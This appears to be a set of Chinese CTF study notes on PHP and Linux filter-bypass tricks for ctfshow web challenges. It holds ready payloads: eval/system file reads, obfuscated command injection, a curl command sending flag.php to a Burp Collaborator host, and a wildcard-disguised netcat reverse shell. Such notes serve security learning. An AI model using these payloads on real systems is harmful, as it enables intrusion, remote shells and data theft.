str_replace() //字符串替换函数,将字符串替换为指定字符串
//双写绕过


# 某强类型绕过
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
# 通过验证,则执行Linux命令(``这两个小点算是Linux的标志)
echo `$cmd`;
}
# a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

# 参数前面加个空格绕waf
# 虽然搞不懂这是什么神仙操作,但却实能绕


# 参数逃逸
// 简单说明:参数逃逸的意思,是本身参数有一大堆限制,不能直接读取某些文件或者执行某些函数代码,
// 这时候,只需要将参数带外出去,这样参数本身就能跳过被限制的字符串等,直接获取目标
形如:
某执行:eval($_GET['a']);其中,对$_GET['a']有若干限制。
GET:?a=$_POST[1]
POST:1=system('tac /flag.txt');

c=$pi=$_GET[a]($_GET[b])&a=system&b=cat /flag

# 玄学的数字绕过
$num!=='36' and $num=='36'
# 第一个会把%0c36当做字符串和'36'进行比较
# 第二个会把%0c36当做数值36和'36'进行比较

# 思路:一个个函数进行尝试
# 尝试的空字符是ascii码内的非明文字符
# %0c==\f ascii换页符
GET:?num=%0c36
# 居然满足了这个条件:$num!=='36' and $num=='36'

# 正则表达式溢出攻击
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
#生成溢出字符串的代码:
echo str_repeat('very', '250000').'36Dctfshow';
#放到传参即可

# 数据带外访问 (DNSLOG或者BP某强大于DNSLOG的插件)
# payload
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://uljnf26qzf4lmzmqgxfzhfeleck28r.burpcollaborator.net

PHP类方法调用

涉及的函数:call_user_func($_POST[a])
class ctfshow{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
# 静态调用:
?a=ctfshow::getFlag
# 数组调用
?a[0]=ctfshow&a[1]=getFlag

PHP绕过preg_replace的\e模式

这个没参考有些东西还真的考虑不到。利用字符串和动态的变量还有双引号可执行变量来绕过。

参考链接放下面:

第一次启发是这位大佬:
https://www.cnblogs.com/HelloCTF/p/13184476.html#%E4%BE%8B%E4%B8%80
第二次是自己想到了使用参数逃逸+本地测试
本地测试环境自己搭。
下面的部分是有些参考价值的,只不过没第一个多(个人看法)
https://www.cnblogs.com/sipc-love/p/14289984.html
https://blog.csdn.net/weixin_49656607/article/details/119833707
https://xz.aliyun.com/t/2557

例题:

 <?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
$pattern=$_POST['pattern'];
if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
{
$code=$_GET['code'];
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
echo "you are smart";
}else{
die("try again");
}
}else{
die("it is begin");
}
?>
?> }

绕过方法

GET: http://112.6.51.212:30995/?code=${eval($_POST[key])}
POST: pattern=.*&key=system('tac index.php');

return: 当然是flag相关的内容啦,这里不赘述。

php按位取法运算符绕过限制 ~

# 依赖的PHP其实就这一个:
$ php -r "echo urlencode(~'cat f*');"
%9C%9E%8B%DF%99%D5

#在传参的时候调用是这样子的:
a=(~%9C%9E%8B%DF%99%D5)

php异或非ascii与ascii绕过字母数字下划线限制

脚本1+理解

无字母数字的还有另外一个参照,和下面的无关:https://blog.csdn.net/a15803617402/article/details/83589181

#涉及的是web141 -- ctfshow
$v1$v2 => 数字;
preg_match('/^\W+$/', $v3);
#-------------------# 从原理上解题
phpinfo(); ==> 可以执行
1+phpinfo()+1;==> 也可执行
1+('phpinfo')()+1;==> 依然可执行
异或:XOR,^
# 异或的意思,就是相同就变化,不同就不变。下面的就是例子
# 这里的利用点:ascii码转16进制字符串(这个我是真没想到),再与超出ascii的十六进制值进行比较,得出异或值
# 只要使用ascii跟 %fa 异或,再用异或得到的值在传参是异或回来即可得到相应的页面值
# phpinfo => (%8A%92%8A%93%94%9C%95^%fa%fa%fa%fa%fa%fa%fa)


#构造:
#=>p
# 二进制数 十六进制数
1111 1010 %fa # 用来异或的超出ascii的字符
1000 1010 %8a # 上面和下面异或出来能得到中间这层
-------------
0111 0000 %70 # p

#=>h
1111 1010 %fa
1001 0010 %92
------------
0110 1000 %68

# 将信将疑的实验了下效果:
$ php -r "echo urldecode('%fa%fa')^urldecode('%8a%92');"
ph
# 真的做到了!!!

利用php脚本,跑出的能显示的ascii码二进制在8bit当中也全是首位0
当首位大于1时,必定是大于ascii码的。
# 跑出来的结果在这个题解最下面那儿
# 能跑出两个,就代表能跑出全部的phpinfo!而且不依赖 "~" (取反字符)

php脚本,win cmd跑即可:

<?php
while (true) {
echo "Please give me the key string: ";
# 获取输入
$a = rtrim(fgets(STDIN), "\r\n");
# 输出异或后的参数
echo 'value: (';
for ($i = 0; $i < strlen($a); $i++) {
echo urlencode(urldecode('%fa') ^ urldecode('%' . bin2hex($a[$i])));
}
echo '^';
for ($i = 0; $i < strlen($a); $i++) {
echo '%fa';
}
echo ')' . PHP_EOL;
}

具体的可以使用的ascii码值:

00100000                20
00100001 ! 21
00100010 " 22
00100011 # 23
00100100 $ 24
00100101 % 25
00100110 & 26
00100111 ' 27
00101000 ( 28
00101001 ) 29
00101010 * 2a
00101011 + 2b
00101100 , 2c
00101101 - 2d
00101110 . 2e
00101111 / 2f
00110000 0 30
00110001 1 31
00110010 2 32
00110011 3 33
00110100 4 34
00110101 5 35
00110110 6 36
00110111 7 37
00111000 8 38
00111001 9 39
00111010 : 3a
00111011 ; 3b
00111100 < 3c
00111101 = 3d
00111110 > 3e
00111111 ? 3f
01000000 @ 40
01000001 A 41
01000010 B 42
01000011 C 43
01000100 D 44
01000101 E 45
01000110 F 46
01000111 G 47
01001000 H 48
01001001 I 49
01001010 J 4a
01001011 K 4b
01001100 L 4c
01001101 M 4d
01001110 N 4e
01001111 O 4f
01010000 P 50
01010001 Q 51
01010010 R 52
01010011 S 53
01010100 T 54
01010101 U 55
01010110 V 56
01010111 W 57
01011000 X 58
01011001 Y 59
01011010 Z 5a
01011011 [ 5b
01011100 \ 5c
01011101 ] 5d
01011110 ^ 5e
01011111 _ 5f
01100000 ` 60
01100001 a 61
01100010 b 62
01100011 c 63
01100100 d 64
01100101 e 65
01100110 f 66
01100111 g 67
01101000 h 68
01101001 i 69
01101010 j 6a
01101011 k 6b
01101100 l 6c
01101101 m 6d
01101110 n 6e
01101111 o 6f
01110000 p 70
01110001 q 71
01110010 r 72
01110011 s 73
01110100 t 74
01110101 u 75
01110110 v 76
01110111 w 77
01111000 x 78
01111001 y 79
01111010 z 7a
01111011 { 7b
01111100 | 7c
01111101 } 7d
01111110 ~ 7e

脚本2

异或注入的参照:https://blog.csdn.net/miuzzx/article/details/108569080

下面是摘自其他人的参照:

# -*- coding: utf-8 -*-

payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的字符十进制
str1,str2 = '',''

for char in payload:
for i in strlist:
for j in strlist:
if(i ^ j == ord(char)):
i = '%{:0>2}'.format(hex(i)[2:])
j = '%{:0>2}'.format(hex(j)[2:])
print("('{0}'^'{1}')".format(i,j),end=".")
break
else:
continue
break

关于__autoload魔术方法

具体参照:https://juejin.cn/post/7016944635851309070

__autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register

由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。

虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。

__autoload魔术方法即使在类里面,但是由于这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。(这个类一旦引用就是全局性质的。)

经典案例:

首先假设我们有autoload.php主业务逻辑代码如下:

<?php

require_once("class_A.php");
require_once("class_B.php");
require_once("class_C.php");

if ($_GET["class"] === 'A'){
$a = new A();
}
else if ($_GET["class"] === 'B'){
$b = new B();
}
else if ($_GET["class"] === 'C'){
$c = new C();
}

autoload.php代码修改后:

<?php

function __autoload($classname){
require("class_$classname.php");
}

if ($_GET["class"] === 'A'){
$a = new A();
}
else if ($_GET["class"] === 'B'){
$b = new B();
}
else if ($_GET["class"] === 'C'){
$c = new C();
}

解码类

url解码:https://c.runoob.com/front-end/3602/

Linux命令

Linux特殊利用点

// 简单功能阐释:
1. "." :能作为字符串使用,同时也能将某个文件内的所有sh挨个执行。
# . flag
然后就是执行'flag'文件下的内容,使用的是sh执行

2. "?" :通配符,能匹配任意字符
# /???/???
然后可以匹配上 /tmp/php

3. "/tmp/":文件上传临时文件夹
4. "[@-[]":这是一个范围,囊括的是大写字母的A-Z

#无字符的异或脚本
#利用临时文件执行命令
//知道临时文件的位置,利用点进行执行
https://blog.csdn.net/qq_46091464/article/details/108513145

// 涉及的思路 设计插入后门=> 从后门获取命令行窗口=> 查看当前环境的变量
env //查看当前环境变量
wget //文件下载命令
wget -r <url/.git>
git //.git文件查询工具
git reflog //查询日志
git show <分支编号>

; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真

起因:在URL当中的普通输入的空格被过滤导致命令无法执行,需寻找替代品

IFS: Linux内置环境变量
${IFS}$9
{IFS}
$IFS
${IFS} # 代替分隔符,也代替空格等。
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)

url编码
%0a (换行)
%0d (回车)

` ` # 命令执行
nl<fla''g.php # 读取文件内容
// nl真够神奇的,跨了一大堆函数没被限制死

// 占位显示文件内容
// 原理还是正则表达式的方法,?代表一个位置
原始:
cat flag.php
转换:
?at${IFS}f???????

// 字符执行命令
# 下面的执行命令能实现的效果是:逐行执行sh代码
# . flag

// 使用临时文件存储的地方执行文件
/?c=.+/???/????????[@-[]
// 展示数组结构
echo(var_export(scandir('/'),true));
# include函数替代品
require() => include()
// 避开缓冲区刷新:
require('/flag.txt');exit();

# 尝试覆盖
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 错误
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 无
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 错误
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 错误
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

# 注释当中找到flag
flag{7bbe778b-9dda-4980-8532-9deb7904bd14}

// 学到了Linux执行命令的新姿势
[root@localhost ~]# echo $()
[root@localhost ~]# echo $(($()))
0
[root@localhost ~]# echo $((~$(())))
-1
[root@localhost ~]# echo $((~$(())))$((~$(())))
-1-1
[root@localhost ~]# echo $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))
-2

# 下面的${_}是依赖上一步执行的,咋一看有些误导性
[root@localhost ~]# echo ${_}
-2
[root@localhost ~]# echo $((${_}))
-2
[root@localhost ~]# echo $((~$((${_}))))
1

Linux内置命令

文件和目录相关命令:
ls:列出目录内容。
cat:显示文件内容。
od:以不同格式显示文件内容。

文本处理命令:
tac:反向显示文件内容。
nl:给文件行添加行号。
more:分页显示文件内容。
less:按需显示文件内容。
head:显示文件开头部分。
tail:显示文件结尾部分。
grep:在文件中搜索指定模式。
sed:流编辑器,用于处理和转换文本。
tee: 从标准输入读取数据,并将其复制到一个或多个文件和/或标准输出
nl flag.php | tee flag.txt
nl: 读取指定文件内容并且添加行号再进行输出。

网络相关命令:
wget:从网络上下载文件。

编辑器和浏览器命令:
vi:文本编辑器。
emacs:文本编辑器。
nano:文本编辑器。

压缩和解压命令:
bzmore:对bzip2压缩文件进行分页查看。
bzless:对bzip2压缩文件进行按需查看。

工具命令:
pcre:Perl兼容的正则表达式工具。
paste:合并文件内容。
diff:比较两个文件的差异。
file:确定文件类型。
echo:输出文本。
sh:Shell解释器。

Linux命令盲注

# awk NR==1: 按行读取的办法
# cut: 对字符串进行切割
ls /|awk "NR==1"|cut -c 1
# 完整的if语句,判断目录用的
if [ `ls / | awk "NR==2" | cut -c 1` == "b" ];then sleep 3;fi
if [ `cat /f149_15_h3r3 | awk 'NR=={0}'|cut -c {1}` == '{2}' ];then sleep 6;fi
if [ `ls / | awk 'NR=={0}'|cut -c {1}` == '{2}' ];then sleep 6;fi
if [ `cat /f149_15_h3r3 | awk 'NR=={0}'|cut -c {1} | xxd -p | tr -d '0a'` == '{2}' ];then sleep 6;fi

Linux命令绕过

膜拜大佬,不知道为什么崩了,先记下:大佬博客点我

空格绕过

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

敏感字符串绕过

假设过滤了cat

1.利用变量绕过:

ac;b=at;$a$b

2.利用base编码绕过

`echo 'Y2F0Cg==' | base64 -d` test.txt

3.连接符截断绕过:

c'a't test.txt
c\at test.txt
ca$@t test.txt


通配符绕过

?在linux里面可以进行代替一个任意字符:

/???/[l-n]s 可替代ls
/???/c?t test.txt 可替代cat test.txt

*在linux里面可以代替任意个任意字符:

ls *.php 列出当前目录下所有php文件

无字母数字匹配:

如果我们遇到一个正则将字母数字$这些都过滤掉,要我们执行一个脚本的话.
假如脚本名称为chakdiD且在根目录/etc下,我们可以用:

. /???/???????[@-[]
[@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。

给一个匹配表:
字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] 同[^list]
{str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合

几个例子:

/???/[:lower:]s
/?s?/???/[n]c 2130706433 8888 -e /???/b??h
ls {/ru,/tmp}n

字符匹配表参考:https://www.secpulse.com/archives/96374.html

参考大佬的通配符利用:https://www.freebuf.com/articles/web/186298.html

PROC软链接溢出绕过

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

PHP-Linux命令

exec():执行一个外部程序,并获取输出。
语法:exec(string $command, array &$output = null, int &$return_var = null): string|false
参数 $command 是要执行的命令;$output 是可选的,用于存储输出结果的数组;$return_var 是可选的,用于存储命令的返回值。
该函数返回字符串类型的输出结果,或者在失败时返回 false

shell_exec():执行命令并获取输出。
语法:shell_exec(string $command): string|null
参数 $command 是要执行的命令。
该函数返回字符串类型的输出结果,或者在失败时返回 null

passthru():执行命令并直接将输出发送到输出流。
语法:passthru(string $command, int &$return_var = null): void
参数 $command 是要执行的命令;$return_var 是可选的,用于存储命令的返回值。
该函数没有返回值,直接将输出发送到标准输出。

system():执行命令,并显示输出结果。
语法:system(string $command, int &$return_var = null): string|false
参数 $command 是要执行的命令;$return_var 是可选的,用于存储命令的返回值。
该函数返回字符串类型的输出结果,或者在失败时返回 false

pcntl_exec():在当前进程中执行外部程序。
语法:pcntl_exec(string $path, array $args, array $envs): void
参数 $path 是要执行的外部程序路径;$args 是一个字符串数组,表示命令行参数;$envs是一个关联数组,表示环境变量。
该函数没有返回值,成功执行之后不会恢复到 PHP 脚本。

proc_open():启动一个外部进程,并建立一个或多个管道来与其通信。
语法:resource|false proc_open(string $command, array $descriptorspec, array &$pipes, string|null $cwd = null, array|null $env = null, array|null $other_options = null)
参数 $command 是要执行的命令;$descriptorspec 描述了进程的输入、输出和错误匿名管道的配置;$pipes 用于存储管道句柄的数组;$cwd 是可选的,表示子进程的当前工作目录;$env 是可选的,表示要设置的环境变量;$other_options 是可选的,表示其他进程选项。
该函数返回一个资源类型的进程句柄,或者在失败时返回 false

popen():打开一个管道连接到一个进程,可以用于读取或写入该进程的输出或输入。
语法:resource|false popen(string $command, string $mode)
参数 $command 是要执行的命令;$mode 表示打开管道的模式,可以是 "r"(只读)或 "w"(只写)。
该函数返回一个资源类型的文件指针,或者在失败时返回 false

实例

$command = "ls -l";
$output = [];
$return_var = 0;
exec($command, $output, $return_var);

// 输出结果
foreach ($output as $line) {
echo $line . PHP_EOL;
}


$command = "echo Hello World!";
$output = shell_exec($command);
echo $output; // 输出:Hello World!


$command = "cat file.txt";
passthru($command);

$command = "php --version";
$output = system($command, $return_var);
echo $output; // 输出 PHP 的版本信息


$path = "/usr/bin/php";
$args = ["script.php", "arg1", "arg2"];
$envs = ["ENV_VAR1" => "value1", "ENV_VAR2" => "value2"];
pcntl_exec($path, $args, $envs);
// 注意:若 exec 成功执行,以下的代码将不再执行


`nl fl''ag.p''hp`

php伪协议

源头1blog点我

源头2blog点我

概述/简述

部分伪协议功能:
phar:// — PHP 归档
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

官网信息:https://www.php.net/manual/zh/wrappers.php
或者搜索:PHP支持和封装的协议
来源处:https://blog.csdn.net/qq_53142368/article/details/116594299

详细解部分伪协议

一 file协议

PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

file:// [文件的绝对路径和文件名]

二.php://协议
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

1. php://filter
allow_url_fopen :off/on
allow_url_include:off/on
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
resource=<要过滤的数据流>
read=<读链的过滤器>
write=<写链的过滤器>
<; 两个链的过滤器>

convert.base64-encode & convert.base64-decode
等同于base64_encode()和base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode
quoted-printable 字符串与 8-bit 字符串编码解码


示例:?file=php://filter/read=convert.base64-encode/resource=./cmd.php


2. php://input
allow_url_fopen :off/on
allow_url_include:on
可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分
在enctype="multipart/form-data" 的时候php://input 是无效的。
示例:
Get:?file=php://input
POST: <?php phpinfo()?>

三.zip://, bzip2://, zlib://协议
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

1.zip://协议
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
eg:
?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
2.bzip2://协议
使用方法:
compress.bzip2://file.bz2
测试现象:
?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
?file=compress.bzip2://./file.jpg
3.zlib://协议
使用方法:
compress.zlib://file.gz
测试现象:
?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
?file=compress.zlib://./file.jpg
四.data://协议
经过测试官方文档上存在一处问题,经过测试PHP版本5.25.35.57.0;data://
协议是是受限于allow_url_fopen的,官方文档上给出的是NO,
所以要使用data://协议需要满足双on条件
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
测试现象:
?file=data://text/plain,<?php phpinfo()?>
or
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

小合集:

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

php特性

# 正则表达式执行:x&&y||z
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y;
对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
//相当于:x=false,跳过y,x&&y整体记为false。访问z是否为true,是则表示整个式子为true
# 三个参数挨在一起的绕过:
eval("return $v1$v3$v2;");
#可以在$v3上做文章:$v3=-(xxxx)- ,$v3=|(xxxx)|



# 数组绕过
// 场景1:示范:num[]=1
if(preg_match("/[0-9]/", $num)){die("no no no!");}
if(intval($num)){echo $flag;}
// 场景2:a[]=1&b[]=43
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;

# %0a换行绕过
// $a='%0aphp'
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}else{echo $flag;}}
//$a=%0a1
is_numeric($a)

# 科学计数法e绕过
// ?num=44767e12
$num = $_GET['num'];
if($num==4476){die("no no no!");}
if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}

# 八进制绕过正则表达式字母限制
// num=010574
if($num==4476){die("no no no!");}
if(preg_match("/[a-z]/i", $num)){die("no no no!");}
if(intval($num,0)==4476){echo $flag;}

# 小数点(浮点数)绕过限制
// ?num=4476.0
if($num==4476){die("no no no!");}
if(preg_match("/[a-z]/i", $num)){die("no no no!");}
if(!strpos($num, "0")){die("no no no!");}
if(intval($num,0)==4476){echo $flag;}

# "+"和八进制绕过限制
// ?num=+010574
if($num==4476){die("no no no!");}
if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}
if(!strpos($num, "0")){die("no no no!!!");}
if(intval($num,0)===4476){echo $flag;}
# 特性漏洞
// 内置类
new Reflectionclass()
# new ctfshow 和 $ctfshow的写法结果相同


#优先级
# 因为赋值的优先级高于逻辑运算,将优先处理is_numeric($v1)赋为$0的值
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

# 伪协议可以操作的函数:
file_put_contents()

# 一个奇妙的字符串:生成的字符串恰巧就是一个科学计数法字符串,形如:12e10
$a = "<?=`cat *`;";
# 这里的0到-1是舍弃等号的
echo '11'.bin2hex(substr(base64_encode($a),0,-1));

#变量覆盖
当遇到形如$$key=$$value的情况,适当的需要进行变量覆盖
$'succ'=$'flag'
$'error'=$'succ'

# 报错函数注入
# ?v1=Exception&v2=system('ls')
# ?v1=Reflectionclass&v2=system('cat fl36dg.txt')
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

# 函数特性利用
# ?v1=FilesystemIterator&v2=getcwd
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){die("error v1");}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){die("error v2");}
eval("echo new $v1($v2());")

# 函数调用
call_user_func($v1,$v2) //$v1为函数名,$v2是函数参数
#各个进制
以下是常见的各个进制以及它们的基数和表示方法的介绍:

二进制(Binary):使用01两个数字表示。在计算机科学和数字电子技术中广泛应用。例如:101010(二进制)表示42(十进制)。

三进制(Ternary):使用012三个数字表示。在某些编程语言和逻辑电路设计中使用。例如:121(三进制)表示16(十进制)。

四进制(Quaternary):使用0123四个数字表示。在一些古代文献和某些领域中使用。例如:33(四进制)表示15(十进制)。

五进制(Quinary):使用01234五个数字表示。在某些计数系统和音乐理论中使用。例如:40(五进制)表示20(十进制)。

六进制(Senary):使用012345六个数字表示。在一些人工语言和密码学中使用。例如:25(六进制)表示17(十进制)。

八进制(Octal):使用07共八个数字表示。在计算机编程中经常使用,特别是在表示文件权限和转换二进制数据时。例如:52(八进制)表示42(十进制)。

十进制(Decimal):使用09共十个数字表示。是我们日常生活中最常用的进制。例如:123(十进制)表示123(十进制)。

十六进制(Hexadecimal):使用09以及A到F(或a到f)共十六个数字/字符表示。在计算机科学和工程领域广泛应用,特别是在表示内存地址、颜色值和编码时。例如:2A(十六进制)表示42(十进制)。

三十六进制(Hexatridecimal):使用09以及A到Z共36个数字/字符表示。在某些场合下用于短链接、URL缩短算法等。例如:1K(三十六进制)表示36(十进制)。

六十进制(Sexagesimal):使用09以及A到Z共60个数字/字符表示。在时间、地理坐标和度量衡等领域使用。例如:3C(六十进制)表示60(十进制)。


# 跨越方括号限制
$_GET[a] <=> ($_GET){a}
# 跳过变量限制
$x=_GET;$$x[a] <=>$_GET[a]

# 异常处理类绕过
#?v1=Exception&v2=system('cat fl36dg.txt')
#?v1=Reflectionclass&v2=system('cat fl36dg.txt')
eval("echo new $v1($v2());");

# 读取文件列表
# ?v1=FilesystemIterator&v2=getcwd
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){die("error v1");}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){die("error v2");}
eval("echo new $v1($v2());");

# 动态变量执行
${phpinfo()} $()


# 无括号分号空格插入读取文件
$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

# PHP超全局变量

$_SERVER:存储了服务器和执行环境的信息,如请求头、URL 信息、服务器信息等。
$_GET:存储了通过 URL 查询字符串传递的参数。
$_POST:存储了通过 POST 方法提交的表单数据。
$_REQUEST:存储了通过 GET、POST 和 COOKIE 方式传递的参数。
$_COOKIE:存储了客户端发送的 HTTP Cookie。
$_SESSION:存储了与用户会话相关的变量,需要先通过 session_start() 开启会话才能使用。
$_FILES:存储了通过文件上传机制上传的文件信息。
$GLOBALS: 唯一一个不使用下划线的全局变量

# 玄学的全等与等于的问题
$num!=='36' and $num=='36'
# $num=%0c36
# 0c是换页符/f,第一个会把$num当做字符串匹配,第二个会把$num当作36匹配
# 如果觉得不清晰,可以尝试把$num直接强转数字就得到36了

反序列化漏洞

php反序列化

依赖函数

serialize()			# 序列化函数
unserialize() # 反序列化函数

魔术方法

  1. 构造函数 __construct (CTF常见)
# 在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。 
<?php
class Point {
public $x;
public $y;

public function __construct($x,$y = 0) {
$this->x = $x;
$this->y = $y;
}
}
$a = new Point(1,2);
echo serialize($a);
# 输出:O:5:"Point":2:{s:1:"x";i:1;s:1:"y";i:2;}
# 构造函数在创建类的时候初始化了某个值
# 假设没有构造函数,会变成这样:
# $a = new Point(1,2); => $a = new Point;
  1. 析构函数 __destruct() (CTF常见)
# 析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
class Point {
public $x=1;
public $y=2;
public function __destruct() {echo('你创建的类已被销毁');}
}
$a = new Point();
echo serialize($a);
# 返回:O:5:"Point":2:{s:1:"x";i:1;s:1:"y";i:2;}你创建的类已被销毁
  1. 方法重载 __call & __callStatic
<?php
class A {
public function test () {
static::who();
A::who();
self::who();
$this->who();
}

/**
*私有方法
*/
private function test2(){

}

public static function __callStatic($a, $b) {
var_dump('A static');
}

public function __call($a, $b) {
var_dump('A call');
}
}

$a = new A;
$a->test();
A::test1();
$a

输出为

string(6) "A call"
string(6) "A call"
string(6) "A call"
string(6) "A call"
string(8) "A static"
string(6) "A call"
  1. 属性重载 __get()__set()__isset()__unset()
#在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。
#读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。
#当对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时,__isset() 会被调用。
#当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。

# 参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。

